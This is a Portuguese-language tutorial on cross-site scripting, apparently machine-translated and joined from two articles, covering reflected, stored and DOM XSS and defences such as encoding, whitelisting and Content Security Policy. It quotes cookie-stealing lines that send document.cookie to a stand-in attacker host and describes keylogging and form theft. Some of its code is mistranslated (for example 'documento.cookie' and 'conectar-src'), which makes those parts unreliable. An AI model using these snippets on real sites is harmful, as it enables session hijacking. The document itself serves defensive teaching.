Exemplos de vulnerabilidade Xss. Easy Hack: como extrair dados por meio da inclusão de scripts entre sites

O cross-site scripting (XSS, abreviadamente) é uma vulnerabilidade generalizada que afeta muitos aplicativos da web. Ele permite que um invasor injete código malicioso em um site de forma que o navegador do usuário que visita o site execute o código.

Normalmente, a exploração de tal vulnerabilidade requer alguma interação com o usuário: ou ele é atraído para um site infectado por meio de engenharia social ou simplesmente espera que o usuário visite o site. Portanto, os desenvolvedores muitas vezes não levam a sério as vulnerabilidades XSS.

Mas se não forem resolvidos, podem representar um sério risco de segurança.

Vamos imaginar que estamos no painel de administração do WordPress, adicionando novos conteúdos. Se usarmos um plugin vulnerável a XSS para isso, ele pode forçar o navegador a criar um novo administrador, modificar o conteúdo e realizar outras ações maliciosas. O script entre sites dá ao invasor controle quase completo sobre o software mais importante atualmente: o navegador.

XSS: vulnerabilidade de injeção

Qualquer site ou aplicativo possui vários locais para entrada de dados - campos de formulário até a própria URL. O exemplo mais simples de entrada de dados é quando inserimos um nome de usuário e uma senha em um formulário:

Nosso nome será armazenado no banco de dados do site para futuras interações conosco. Certamente, ao fazer login em qualquer site, você viu uma saudação pessoal no estilo “Bem-vindo, Ilya”.

É para tais fins que os nomes de usuário são armazenados no banco de dados.

Uma injeção é um procedimento quando, em vez de um nome ou senha, é inserida uma sequência especial de caracteres, obrigando o servidor ou navegador a responder de determinada forma desejada pelo invasor.

Cross-site scripting é uma injeção que injeta código que executará ações no navegador em nome do site. Isso pode acontecer tanto com notificação ao usuário quanto em segundo plano, sem o seu conhecimento.

Ataques XSS tradicionais: refletidos (não persistentes).

Um ataque XSS refletido é acionado quando um usuário clica em um link especialmente criado.

Essas vulnerabilidades ocorrem quando os dados fornecidos por um cliente web, geralmente em parâmetros de solicitação HTTP ou em formato HTML, são executados diretamente por scripts do lado do servidor para analisar e exibir uma página de resultados para esse cliente, sem processamento adequado.

Armazenado (persistente).

O XSS armazenado é possível quando um invasor consegue injetar código malicioso no servidor que é executado no navegador sempre que a página original é acessada. Um exemplo clássico dessa vulnerabilidade são os fóruns que permitem comentários em HTML.

Vulnerabilidades causadas por código do lado do cliente (JavaScript, Visual Basic, Flash, etc.): Também conhecidas como DOMs: Refletidas (não persistentes).

O mesmo que no caso do lado do servidor, só que neste caso o ataque é possível devido ao fato do código ser processado pelo navegador.

Armazenado (persistente).

Semelhante ao XSS armazenado no lado do servidor, só que neste caso o componente malicioso é armazenado no lado do cliente usando o armazenamento do navegador.

Exemplos de vulnerabilidades XSS.

Curiosamente, na maioria dos casos em que esta vulnerabilidade é descrita, ficamos assustados com o seguinte código:

Http://www.site.com/page.php?var=alert("xss");

Existem dois tipos de vulnerabilidades XSS – passivas e ativas.

Vulnerabilidade ativaé mais perigoso, pois o invasor não precisa atrair a vítima por meio de um link especial, basta injetar o código no banco de dados ou em algum arquivo do servidor. Assim, todos os visitantes do site tornam-se automaticamente vítimas. Pode ser integrado, por exemplo, usando injeção SQL. Portanto, você não deve confiar nos dados armazenados no banco de dados, mesmo que tenham sido processados ​​durante a inserção.

Exemplo vulnerabilidade passiva Você pode ver isso logo no início do artigo. Isso já requer engenharia social, por exemplo, uma carta importante da administração do site solicitando que você verifique as configurações da sua conta após restaurar a partir de um backup. Conseqüentemente, você precisa saber o endereço da vítima ou simplesmente organizar uma correspondência de spam ou postar em algum fórum, e não é fato que as vítimas serão ingênuas e seguirão seu link.

Além disso, os parâmetros POST e GET podem ser suscetíveis à vulnerabilidade passiva. Com os parâmetros POST, é claro, você terá que recorrer a truques. Por exemplo, um redirecionamento do site de um invasor.

document.getElementsByTagName("formulário").submit();

Portanto, a vulnerabilidade GET é um pouco mais perigosa, porque... É mais fácil para a vítima perceber um domínio incorreto do que um parâmetro adicional (embora o URL geralmente possa ser codificado).

Roubando biscoitos

Este é o exemplo mais comumente citado de ataque XSS. Os sites às vezes armazenam algumas informações valiosas em Cookies (às vezes até o login e a senha do usuário (ou seu hash)), mas o mais perigoso é o roubo de uma sessão ativa, então não se esqueça de clicar no link “Sair” nos sites , mesmo que seja um computador doméstico. Felizmente, na maioria dos recursos, o tempo de vida da sessão é limitado.

Var img = nova imagem(); img.srс = "http://site/xss.php?" + documento.cookie;

É por isso que introduziram restrições de domínio no XMLHttpRequest, mas isso não é um problema para um invasor, já que existe, , , plano de fundo:url(); e assim por diante.

Roubando dados de formulários

Procuramos o formulário através, por exemplo, de getElementById e monitoramos o evento onsubmit. Agora, antes de enviar o formulário, os dados inseridos também são enviados ao servidor do invasor.

Esse tipo de ataque lembra um pouco o phishing, só que usa um site real em vez de um site falso, o que inspira mais confiança na vítima.

Ataque DDoS (ataque distribuído de negação de serviço)

Uma vulnerabilidade XSS em recursos muito visitados pode ser usada para lançar um ataque DDoS. A essência é simples - há muitas solicitações que o servidor atacado não consegue suportar.
Na verdade, a relação com o XSS é indireta, já que scripts não podem ser utilizados de forma alguma, basta uma construção como esta:

Quais são os perigos do XSS?

Como você pode proteger seu site do XSS? Como verificar se há vulnerabilidades em seu código? Existem tecnologias como o Sucuri Firewall que são projetadas especificamente para evitar tais ataques. Mas se você é um desenvolvedor, com certeza vai querer aprender mais sobre como identificar e mitigar vulnerabilidades XSS.

Falaremos sobre isso na próxima parte do artigo sobre XSS.

E é um tutorial abrangente sobre scripts entre sites.

Parte Um: Visão Geral O que é XSS?

Scripting entre sites ( Inglês Scripting entre sites) é um ataque de injeção de código que permite que um invasor execute JavaScript malicioso no navegador de outro usuário.

O atacante não ataca sua vítima diretamente. Em vez disso, explora uma vulnerabilidade no site que a vítima está visitando e injeta código JavaScript malicioso. No navegador da vítima, o JavaScript malicioso aparece como uma parte legítima do site, e o próprio site atua como cúmplice direto do invasor.

Injeção de código JavaScript malicioso

A única maneira de um invasor executar JavaScript malicioso no navegador da vítima é injetá-lo em uma das páginas que a vítima carrega do site. Isso é possível se um site permitir que os usuários insiram dados em suas páginas, e o invasor puder inserir uma string que será detectada como parte do código no navegador da vítima.

O exemplo abaixo mostra um script simples do lado do servidor usado para exibir o comentário mais recente em um site:

imprimir ""
imprimir "Último comentário:"
imprimir banco de dados.latestComment
imprimir ""

O script pressupõe que o comentário consiste apenas em texto. No entanto, como a entrada direta do usuário está habilitada, um invasor pode deixar este comentário: "...". Qualquer usuário que visitar a página receberá agora a seguinte resposta:


Último comentário:
...

Quando o navegador do usuário carrega a página, ele executa tudo, inclusive o código JavaScript contido no arquivo . O invasor executou o ataque com sucesso.

O que é JavaScript malicioso?

A capacidade de executar JavaScript no navegador da vítima pode não parecer particularmente maliciosa. O JavaScript é executado em um ambiente muito restrito com acesso extremamente limitado aos arquivos do usuário e do sistema operacional. Na verdade, você pode abrir o console JavaScript em seu navegador agora mesmo e executar qualquer JavaScript que desejar, e é muito improvável que consiga causar qualquer dano ao seu computador.

No entanto, o potencial do código JavaScript agir como código malicioso fica mais claro quando você considera os seguintes fatos:

  • JavaScript tem acesso a algumas informações confidenciais do usuário, como cookies.
  • JavaScript pode enviar solicitações HTTP com conteúdo arbitrário em qualquer direção usando XMLHttpRequest e outros mecanismos.
  • JavaScript pode fazer alterações arbitrárias no código HTML da página atual usando técnicas de manipulação de DOM.

Se combinados, esses fatos podem causar violações de segurança muito graves, detalhes a seguir.

Consequências do código JavaScript malicioso

Além disso, a capacidade de executar JavaScript arbitrário no navegador de outro usuário permite que um invasor realize os seguintes tipos de ataques:

Roubo de biscoitos

Um invasor pode acessar os cookies relacionados ao site da vítima usando document.cookie , enviá-los para seu próprio servidor e usá-los para extrair informações confidenciais, como IDs de sessão.

Registrador de teclas

Um invasor pode registrar um ouvinte de eventos de teclado usando addEventListener e, em seguida, enviar todas as teclas digitadas pelo usuário para seu servidor, potencialmente registrando informações confidenciais, como senhas e números de cartão de crédito.

Phishing

um invasor pode inserir um formulário de login falso em uma página usando manipulação de DOM, definindo os atributos de ação do formulário para seu próprio servidor e, em seguida, induzir o usuário a obter informações confidenciais.

Embora esses ataques sejam significativamente diferentes, todos eles têm uma semelhança significativa: como o invasor injeta código na página servida pelo site, o JavaScript malicioso é executado no contexto desse site. Isso significa que ele é tratado como qualquer outro script desse site: ele tem acesso aos dados da vítima desse site (como cookies) e o nome do host exibido na barra de URL será o mesmo do site. Para todos os efeitos, o script é considerado uma parte legal do site, permitindo-lhe fazer tudo o que o próprio site pode fazer.

Este fato destaca uma questão fundamental:

Se um invasor puder usar seu site para executar código JavaScript arbitrário nos navegadores de outros usuários, a segurança do seu site e de seus usuários ficará comprometida.

Para enfatizar este ponto, alguns exemplos de scripts maliciosos neste tutorial serão deixados sem detalhes, usando.... Isso sugere que a mera presença de um script injetado por um invasor é um problema, independentemente de qual código de script específico esteja realmente sendo executado.

Parte dois: Ataque XSS Participantes do ataque XSS

Antes de descrevermos em detalhes como funciona um ataque XSS, precisamos definir os atores envolvidos em um ataque XSS. Em geral, um ataque XSS tem três partes: o site, a vítima e o invasor.

  • O site fornece páginas HTML aos usuários que as solicitam. Em nossos exemplos, ele está localizado em http://website/.
    • Um banco de dados de site é um banco de dados que armazena alguns dos dados inseridos pelos usuários nas páginas de um site.
  • A vítima é um usuário comum de um site que solicita páginas dele usando seu navegador.
  • Um invasor é aquele que pretende lançar um ataque a uma vítima explorando uma vulnerabilidade XSS em um site.
    • O servidor de um invasor é um servidor web controlado por um invasor com o único propósito de roubar informações confidenciais da vítima. Em nossos exemplos, ele está localizado em http://attacker/.
Exemplo de cenário de ataque


window.location="http://attacker/?cookie="+document.cookie

Este script criará uma solicitação HTTP para outra URL, que redirecionará o navegador do usuário para o servidor do invasor. A URL inclui os cookies da vítima como parâmetro de solicitação, quando uma solicitação HTTP chega ao servidor do invasor, o invasor pode extrair esses cookies da solicitação. Depois que o invasor receber os cookies, ele poderá usá-los para se passar pela vítima e lançar um ataque subsequente.

A partir de agora, o código HTML mostrado acima será chamado de string maliciosa ou script malicioso. É importante compreender que a string em si só é maliciosa se for renderizada como HTML no navegador da vítima, e isso só pode acontecer se houver uma vulnerabilidade XSS no site.

Como funciona este exemplo de ataque

O diagrama abaixo mostra um exemplo de ataque de um invasor:

  • O invasor usa um dos formulários do site para inserir uma string maliciosa no banco de dados do site.
  • A vítima solicita uma página de um site.
  • O site inclui uma string de banco de dados maliciosa na resposta e a envia para a vítima.
  • O navegador da vítima executa um script malicioso dentro da resposta, enviando o cookie da vítima ao servidor do invasor.
  • Tipos XSS

    O objetivo de um ataque XSS é sempre executar um script JavaScript malicioso no navegador da vítima. Existem várias maneiras fundamentalmente diferentes de atingir esse objetivo. Os ataques XSS são frequentemente divididos em três tipos:

    • XSS armazenado (persistente), onde a string maliciosa se origina do banco de dados do site.
    • XSS refletido (não persistente), onde a string maliciosa é gerada a partir da solicitação da vítima.
    • DOMs XSS, onde a vulnerabilidade ocorre no código do lado do cliente, e não no código do lado do servidor.

    O exemplo anterior mostra um ataque XSS armazenado. Descreveremos agora dois outros tipos de ataques XSS: ataques XSS refletidos e ataques DOM XSS.

    XSS refletido

    Em um ataque XSS refletido, a string maliciosa faz parte da solicitação da vítima ao site. O site aceita e insere essa string maliciosa na resposta enviada de volta ao usuário. O diagrama abaixo ilustra esse cenário:

  • A vítima engana o invasor para que envie uma solicitação de URL ao site.
  • O site inclui uma string maliciosa da solicitação de URL na resposta à vítima.
  • O navegador da vítima executa o script malicioso contido na resposta, enviando os cookies da vítima para o servidor do invasor.
  • Como realizar com sucesso um ataque XSS refletido?

    Um ataque XSS refletido pode parecer inofensivo porque exige que a vítima envie uma solicitação em seu nome que contém uma string maliciosa. Como ninguém se atacaria voluntariamente, parece não haver maneira de realmente realizar o ataque.

    Acontece que existem pelo menos duas maneiras comuns de fazer com que uma vítima lance um ataque XSS refletido contra si mesma:

    • Se o usuário for uma pessoa específica, o invasor pode enviar uma URL maliciosa à vítima (por exemplo, via e-mail ou mensagem instantânea) e induzi-la a abrir o link para visitar o site.
    • Se o alvo for um grande grupo de usuários, o invasor poderá postar um link para uma URL maliciosa (por exemplo, em seu próprio site ou rede social) e esperar que os visitantes cliquem no link.

    Ambos os métodos são semelhantes e podem ter mais sucesso usando serviços de encurtamento de URL que mascararão a string maliciosa de usuários que possam identificá-la.

    XSS no DOM

    XSS no DOM é uma variante de ataques XSS armazenados e refletidos. Neste ataque XSS, a string maliciosa não é processada pelo navegador da vítima até que o JavaScript real do site seja executado. O diagrama abaixo ilustra este cenário para um ataque XSS refletido:

  • O invasor cria uma URL contendo uma string maliciosa e a envia para a vítima.
  • A vítima engana o invasor para que envie uma solicitação de URL ao site.
  • O site aceita a solicitação, mas não inclui a string maliciosa na resposta.
  • O navegador da vítima executa o script legítimo contido na resposta, fazendo com que o script malicioso seja inserido na página.
  • O navegador da vítima executa um script malicioso inserido na página, enviando os cookies da vítima para o servidor do invasor.
  • Qual é a diferença entre XSS no DOM?

    Nos exemplos anteriores de ataques XSS armazenados e refletidos, o servidor insere um script malicioso em uma página, que é então encaminhado em resposta à vítima. Quando o navegador da vítima recebe a resposta, ele assume que o script malicioso faz parte do conteúdo legítimo da página e o executa automaticamente enquanto a página carrega, como qualquer outro script.

    No exemplo de ataque XSS no DOM, o script malicioso não é inserido como parte da página; o único script executado automaticamente enquanto a página está sendo carregada é uma parte legítima da página. O problema é que esse script legítimo usa diretamente a entrada do usuário para adicionar HTML à página. Como a string maliciosa é inserida na página usando innerHTML , ela é analisada como HTML, fazendo com que o script malicioso seja executado.

    Essa diferença é pequena, mas muito importante:

    • No XSS tradicional, o JavaScript malicioso é executado quando a página é carregada, como parte do HTML enviado pelo servidor.
    • No caso de XSS no DOM, o JavaScript malicioso é executado após o carregamento da página, fazendo com que a página JavaScript legítima acesse a entrada do usuário (contendo a string maliciosa) de maneira insegura.
    Como o XSS funciona no DOM?

    Não há necessidade de JavaScript no exemplo anterior; o servidor pode gerar todo o HTML sozinho. Se o código do lado do servidor não contivesse vulnerabilidades, o site não seria suscetível a uma vulnerabilidade XSS.

    Entretanto, à medida que as aplicações web se tornam mais avançadas, mais e mais páginas HTML são geradas usando JavaScript no lado do cliente, e não no servidor. A qualquer momento o conteúdo deve mudar sem atualizar a página inteira, isso é possível utilizando JavaScript. Em particular, este é o caso quando a página é atualizada após uma solicitação AJAX.

    Isso significa que as vulnerabilidades XSS podem estar presentes não apenas no código do lado do servidor do seu site, mas também no código JavaScript do lado do cliente do seu site. Portanto, mesmo com código do lado do servidor completamente seguro, o código do cliente ainda pode não incluir com segurança a entrada do usuário ao atualizar o DOM após o carregamento da página. Se isso acontecer, o código do lado do cliente permitirá que um ataque XSS ocorra sem culpa do código do lado do servidor.

    XSS baseado em DOM pode não estar visível para o servidor

    Há um caso especial de ataque XSS no DOM em que a string maliciosa nunca é enviada ao servidor do site: isso ocorre quando a string maliciosa está contida no fragmento do identificador de URL (qualquer coisa após o símbolo #). Os navegadores não enviam esta parte da URL para o servidor, portanto o site não pode acessá-la usando código do lado do servidor. O código do lado do cliente, entretanto, tem acesso a ele e, portanto, é possível conduzir um ataque XSS por meio de processamento inseguro.

    Este caso não está limitado ao ID do fragmento. Há outras entradas do usuário que são invisíveis para o servidor, como novos recursos do HTML5, como LocalStorage e IndexedDB.

    Parte TRÊS:
    Prevenção XSS Técnicas de Prevenção XSS

    Lembre-se de que o XSS é um ataque de injeção de código: a entrada do usuário é interpretada erroneamente como código malicioso. Para evitar esse tipo de injeção de código, é necessário um tratamento seguro de entrada. Para um desenvolvedor web, existem duas maneiras fundamentalmente diferentes de realizar processamento de entrada seguro:

    • A codificação é um método que permite ao usuário inserir dados apenas como dados e não permite que o navegador os processe como código.
    • A validação é uma forma de filtrar a entrada do usuário para que o navegador a interprete como código sem comandos maliciosos.

    Embora esses métodos de mitigação de XSS sejam fundamentalmente diferentes, eles compartilham vários recursos comuns que são importantes de serem entendidos ao usar qualquer um deles:

    Contexto O tratamento seguro de entradas deve ser feito de maneira diferente, dependendo de onde a entrada do usuário é usada na página. entrada/saída O processamento seguro de entrada pode ser feito quando seu site recebe entrada (tráfego de entrada) ou logo antes de o site inserir a entrada do usuário no conteúdo da página (saída). Cliente/Servidor O processamento seguro de entrada pode ser feito no lado do cliente ou no lado do servidor, sendo cada opção necessária em circunstâncias diferentes.

    Antes de explicar em detalhes como funciona a codificação e validação, descreveremos cada um desses pontos.

    Lidando com a entrada do usuário em contextos

    Existem muitos contextos em uma página da web onde a entrada do usuário pode ser aplicada. Para cada um deles, regras especiais devem ser seguidas para garantir que a entrada do usuário não possa escapar do seu contexto e não possa ser interpretada como código malicioso. A seguir estão os contextos mais comuns:

    Por que os contextos são importantes?

    Em todos os contextos descritos, uma vulnerabilidade XSS poderia ocorrer se a entrada do usuário fosse inserida antes da primeira codificação ou validação. Um invasor pode injetar código malicioso simplesmente inserindo um delimitador de fechamento para esse contexto seguido de código malicioso.

    Por exemplo, se em algum momento um site incluir a entrada do usuário diretamente em um atributo HTML, um invasor poderá injetar um script malicioso iniciando sua entrada com uma aspa, conforme mostrado abaixo:

    Isso poderia ser evitado simplesmente removendo todas as aspas na entrada do usuário e tudo ficaria bem, mas apenas neste contexto. Caso a entrada tenha sido inserida em um contexto diferente, o delimitador de fechamento será diferente e a injeção será possível. Por esta razão, o tratamento seguro de entradas deve sempre ser adaptado ao contexto onde a entrada do usuário será inserida.

    Tratamento de entrada/saída do usuário

    Instintivamente, parece que o XSS poderia ser evitado codificando ou validando todas as entradas do usuário assim que nosso site as recebesse. Dessa forma, quaisquer strings maliciosas já serão neutralizadas sempre que forem incluídas na página, e os scripts de geração de HTML não precisarão se preocupar em lidar com a entrada do usuário com segurança.

    O problema é que, conforme descrito anteriormente, a entrada do usuário pode ser inserida em vários contextos de uma página. E não há uma maneira fácil de determinar quando a entrada do usuário entra em um contexto - como ela será eventualmente inserida, e a mesma entrada do usuário geralmente precisa ser inserida em contextos diferentes. Ao confiar no processamento de entrada para evitar XSS, estamos criando uma solução muito frágil e propensa a erros. (As "citações mágicas" herdadas do PHP são um exemplo de tal solução.)

    Em vez disso, o processamento de entrada de saída deve ser sua principal linha de defesa contra XSS porque pode levar em consideração o contexto específico de qual entrada do usuário será inserida. Até certo ponto, a validação de entrada pode ser usada para adicionar uma camada secundária de segurança, mas falaremos mais sobre isso posteriormente.

    Onde é possível lidar com a entrada do usuário com segurança?

    Na maioria das aplicações web modernas, a entrada do usuário é processada tanto no lado do servidor quanto no lado do cliente. Para proteger contra todos os tipos de XSS, o tratamento seguro de entrada deve ser feito no código do lado do servidor e do lado do cliente.

    • Para proteger contra o XSS tradicional, o tratamento seguro de entrada deve ser feito no código do lado do servidor. Isso é feito usando alguma linguagem suportada pelo servidor.
    • Para proteger contra um ataque XSS no DOM, onde o servidor nunca recebe uma string maliciosa (como o ataque de fragmento de identificador descrito anteriormente), o tratamento seguro de entrada deve ser feito no código do lado do cliente. Isso é feito usando JavaScript.

    Agora que explicamos por que o contexto é importante, por que a distinção entre processamento de entrada e saída é importante e por que o processamento seguro de entrada deve ser feito em ambos os lados, no lado do cliente e no lado do servidor, podemos prosseguir explicando como os dois tipos de processamento seguro de entrada (codificação e validação) são realmente executados.

    Codificação

    A codificação é uma saída para uma situação em que é necessário que o navegador interprete a entrada do usuário apenas como dados, e não como código. O tipo mais popular de codificação no desenvolvimento web é o mascaramento HTML, que converte caracteres como< и >V< и >respectivamente.

    O pseudocódigo a seguir é um exemplo de como a entrada do usuário (entrada do usuário) pode ser codificada usando mascaramento HTML e depois inserida em uma página usando um script do lado do servidor:

    imprimir ""
    imprimir "Último comentário:"
    imprimir encodeHtml(userInput)
    imprimir ""

    Se o usuário inserir a seguinte linha..., o HTML resultante ficará assim:


    Último comentário:
    ...

    Como todos os caracteres com significado especial foram escapados, o navegador não analisará nenhuma parte da entrada do usuário, como HTML.

    Codificação de código do lado do cliente e do servidor

    Ao realizar a codificação do lado do cliente, sempre é usado JavaScript, que possui funções integradas que codificam dados para diferentes contextos.

    Ao fazer a codificação no código do lado do servidor, você conta com os recursos disponíveis em sua linguagem ou estrutura. Devido ao grande número de linguagens e frameworks disponíveis, este tutorial não abordará os detalhes de codificação em nenhuma linguagem ou framework de servidor específico. No entanto, as funções de codificação JavaScript usadas no lado do cliente também são usadas ao escrever código no lado do servidor.

    Codificação do lado do cliente

    Ao codificar a entrada do usuário do lado do cliente usando JavaScript, existem vários métodos e propriedades integrados que codificam automaticamente todos os dados em um estilo sensível ao contexto:

    O último contexto já mencionado acima (valores em JavaScript) não está incluído nesta lista porque o JavaScript não fornece uma forma integrada de codificação de dados que serão incluídos no código-fonte do JavaScript.

    Limitações de codificação

    Mesmo durante a codificação, é possível usar strings maliciosas em alguns contextos. Um exemplo claro disso é quando a entrada do usuário é usada para fornecer uma URL, como no exemplo abaixo:

    document.querySelector("a").href = userInput

    Embora a especificação de um valor na propriedade href de um elemento o codifique automaticamente para que ele se torne nada mais do que um valor de atributo, isso por si só não impede que um invasor insira uma URL começando com "javascript:". Quando um link é clicado, independentemente da construção, o JavaScript incorporado na URL será executado.

    A codificação também não é uma solução eficaz quando você deseja que os usuários possam usar parte do código HTML da página. Um exemplo seria uma página de perfil de usuário onde o usuário pode usar HTML personalizado. Se este HTML simples estiver codificado, a página de perfil só poderá consistir em texto simples.

    Nessas situações, a codificação deve ser complementada pela validação, que veremos mais adiante.

    Validação

    Validação é o ato de filtrar a entrada do usuário para que todas as partes maliciosas dela sejam removidas, sem a necessidade de remover todo o código contido nela. Um dos tipos de validação mais utilizados no desenvolvimento web permite usar alguns elementos HTML (por exemplo, e) enquanto desabilita outros (por exemplo,).

    Existem duas verificações de características principais, que diferem em suas implementações:

    Estratégia de classificação A entrada do usuário pode ser classificada usando listas negras ou brancas. Resultado da validação A entrada do usuário identificada como maliciosa pode ser rejeitada ou higienizada.

    Estratégia de classificação Lista negra

    Instintivamente, parece apropriado realizar a verificação definindo um padrão proibido que não deve aparecer na entrada do usuário. Se uma linha corresponder a esse padrão, ela será marcada como inválida. Por exemplo, permita que os usuários enviem URLs personalizados com qualquer protocolo, exceto javascript: . Esta estratégia de classificação é chamada lista negra.

    No entanto, a lista negra tem duas desvantagens principais:

    A dificuldade de descrever com precisão o conjunto de todas as sequências maliciosas possíveis é normalmente uma tarefa muito difícil. A política de exemplo descrita acima não pode ser implementada com sucesso simplesmente procurando pela substring "javascript" porque faltariam strings como "Javascript:" (onde a primeira letra é maiúscula) e "javascript:" (onde a primeira letra é codificada como numérico referência de personagem). Descontinuação Mesmo que uma lista negra perfeita fosse desenvolvida, seria inútil se um novo recurso adicionado ao navegador pudesse ser usado para ataque. Por exemplo, se uma lista negra de validação HTML fosse desenvolvida antes do atributo onmousewheel ser introduzido no HTML5, ela não seria capaz de impedir um invasor de usar esse atributo para realizar um ataque XSS. Essa desvantagem é especialmente importante no desenvolvimento web, que consiste em diversas tecnologias que são constantemente atualizadas.

    Devido a estas deficiências, a inclusão na lista negra é fortemente desencorajada como estratégia de classificação. A lista de permissões geralmente é uma abordagem muito mais segura, que descreveremos a seguir.

    Lista branca

    Lista brancaé essencialmente o oposto de uma lista negra: em vez de identificar um padrão proibido, a abordagem da lista branca identifica um padrão permitido e marca a entrada como inválida se for não corresponde este modelo.

    Em contraste com as listas negras, um exemplo de listas brancas seria permitir que os usuários enviassem URLs personalizados contendo apenas os protocolos http: e https:, nada mais. Essa abordagem permitiria que uma URL fosse automaticamente marcada como inválida se contivesse o protocolo javascript:, mesmo que fosse representada como "Javascript:" ou "javascript:".

    Comparadas a uma lista negra, as listas brancas têm duas vantagens principais:

    Simplicidade Descrever com precisão o conjunto de strings benignas geralmente é muito mais fácil do que identificar o conjunto de todas as strings maliciosas. Isto é especialmente aplicável em situações gerais em que a entrada do usuário deve incluir um conjunto muito limitado de funcionalidades disponíveis no navegador. Por exemplo, a lista de permissões descrita acima permite que URLs sejam usados ​​apenas com os protocolos HTTP: ou https: permitidos e, na maioria das situações, isso é suficiente para os usuários. Durabilidade Ao contrário de uma lista negra, uma lista branca normalmente não se torna obsoleta quando um novo recurso é adicionado ao navegador. Por exemplo, a validação da lista de permissões HTML permite que apenas os atributos de título dos elementos HTML permaneçam seguros, mesmo que ela (a lista de permissões) tenha sido projetada antes da introdução do atributo onmousewheel do HTML5.

    Resultado de validação

    Quando a entrada do usuário for marcada como inválida (proibida), uma das duas ações poderá ser executada:

    A rejeição da entrada é simplesmente rejeitada, impedindo que ela seja usada em outro lugar do site. A limpeza de todas as partes inválidas dos dados de entrada é removida e a entrada restante é usada no site normalmente.

    Dos dois, a deflexão é a abordagem mais simples de implementar. Mas a desinfecção é considerada mais útil porque fornece uma gama mais ampla de informações para o usuário. Por exemplo, se um usuário enviar um número de cartão de crédito, a higienização removerá todos os caracteres não simbólicos e evitará a injeção de código, além de permitir que o usuário insira um número com ou sem hífens.

    Se decidir implementar a desinfecção, você precisa garantir que o procedimento de desinfecção em si não use uma abordagem de lista negra. Por exemplo, a URL "Javascript:...", mesmo se identificada usando uma lista de permissões como inválida, receberia uma rotina de desvio de higienização que simplesmente removeria todas as instâncias de "javascript:". Por esta razão, bibliotecas e frameworks bem testados devem usar sanitização sempre que possível.

    Que métodos devem ser usados ​​para prevenção?

    A codificação deve ser sua primeira linha de defesa contra ataques XSS; seu objetivo é processar dados de tal forma que o navegador não possa interpretar a entrada do usuário como código. Em alguns casos, a codificação deve ser complementada pela validação. A codificação e a validação devem ser aplicadas ao tráfego de saída porque só então você poderá saber em que contexto a entrada do usuário será aplicada e qual codificação e validação precisam ser aplicadas.

    Como segunda linha de defesa, você deve aplicar a limpeza de dados recebidos ou a rejeição de entradas de usuário claramente inválidas, como links, usando o protocolo javascript:. Isto por si só não pode fornecer segurança completa, mas é uma precaução útil se algum ponto na proteção de codificação e validação falhar devido à execução incorreta.

    Se essas duas linhas de defesa forem usadas de forma consistente, seu site estará protegido contra ataques XSS. No entanto, devido à complexidade de criação e manutenção de um site, pode ser difícil fornecer segurança completa usando apenas o processamento seguro de entrada do usuário. Como terceira linha de defesa, você deve usar Políticas de Segurança de Conteúdo ( Inglês Política de segurança de conteúdo), depois CSP, que descreveremos a seguir.

    Políticas de segurança de conteúdo (CSP)

    Usar apenas o tratamento seguro de entrada do usuário para proteção contra ataques XSS não é suficiente porque mesmo um erro de segurança pode comprometer o seu site. A adoção de Políticas de Segurança de Conteúdo (CSPs) do novo padrão da web pode reduzir esse risco.

    Os CSPs são usados ​​para restringir o uso de uma página da Web por um navegador, para que ele possa usar apenas recursos baixados de fontes confiáveis. A recursos são scripts, folhas de estilo, imagens ou algum outro tipo de arquivo referenciado em uma página. Isso significa que mesmo que um invasor consiga injetar conteúdo malicioso em seu site, o CSP será capaz de impedir que ele seja executado.

    O CSP pode ser usado para impor as seguintes regras:

    Banindo fontes não confiáveis ​​Os recursos externos só podem ser baixados de um conjunto de fontes confiáveis ​​claramente definidas. Ao proibir recursos incorporados, JavaScript e CSS embutidos não serão levados em consideração. Desativar eval proíbe o uso da função eval em JavaScript.

    PSC em ação

    No exemplo a seguir, um invasor conseguiu injetar código malicioso em uma página da web:


    Último comentário:

    Com uma política CSP definida corretamente, o navegador não pode baixar e executar malicioso-script.js porque http://attacker/ não está especificado como uma fonte confiável. Embora o site não tenha processado de forma confiável a entrada do usuário neste caso, as políticas do CSP impediram que a vulnerabilidade causasse qualquer dano.

    Mesmo que o invasor tenha injetado código dentro do código de script em vez de um link para um arquivo externo, uma política CSP configurada corretamente também impedirá a injeção no código JavaScript, evitando vulnerabilidades e causando qualquer dano.

    Como habilitar o CSP?

    Por padrão, os navegadores não usam CSP. Para ativar o SCP no seu site, as páginas devem conter um cabeçalho HTTP adicional: Content‑Security‑Policy. Qualquer página que contenha este cabeçalho aplicará políticas de segurança quando carregada pelo navegador, desde que o navegador suporte CSP.

    Como a política de segurança é enviada com cada resposta HTTP, é possível que o servidor defina a política individualmente para cada página. A mesma política pode ser aplicada a todo o site, inserindo o mesmo cabeçalho CSP em cada resposta.

    O valor no cabeçalho Content-Security-Policy contém uma string que define uma ou mais políticas de segurança que serão executadas no seu site. A sintaxe desta linha será descrita abaixo.

    Os exemplos de títulos nesta seção usam quebras de linha e recuos para facilitar a referência; eles não devem aparecer no título real.

    Sintaxe CSP

    A sintaxe do cabeçalho CSP é a seguinte:

    Política de segurança de conteúdo:
    diretiva expressão de origem, expressão de origem, ...;
    diretiva ...;
    ...

    Esta sintaxe consiste em dois elementos:

    • As diretivas são strings que indicam o tipo de recurso retirado de uma determinada lista.
    • Expressões de origem são modelos que descrevem um ou mais servidores dos quais os recursos podem ser carregados.

    Para cada diretiva, os dados na expressão de origem especificam quais fontes podem ser usadas para carregar recursos do tipo correspondente.

    Diretivas

    As seguintes diretivas podem ser usadas no cabeçalho CSP:

    • conectar-src
    • fonte-src
    • quadro-src
    • img-src
    • mídia-src
    • objeto-src
    • script-src
    • estilo-src

    Além disso, a diretiva especial default-src pode ser usada para fornecer um valor padrão para todas as diretivas que não foram incluídas no cabeçalho.

    Expressão de origem

    A sintaxe para criar uma expressão de origem é a seguinte:

    protocolo: // nome do host: número da porta

    O nome do host pode começar com *, o que significa que qualquer subdomínio do nome do host fornecido será resolvido. Da mesma forma, o número da porta pode ser representado como *, o que significa que todas as portas serão permitidas. Além disso, o protocolo e o número da porta podem ser omitidos. Se nenhum protocolo for especificado, a política exigirá que todos os recursos sejam carregados usando HTTPS.

    Além da sintaxe acima, a expressão fonte pode alternativamente ser uma das quatro palavras-chave com um significado especial (aspas incluídas):

    "nenhum" desativa recursos. "self" permite recursos do host no qual a página da web está localizada. "unsafe‑inline" resolve recursos contidos na página como elementos inline, elementos e javascript: URLs. "unsafe-eval" habilita a função JavaScript eval .

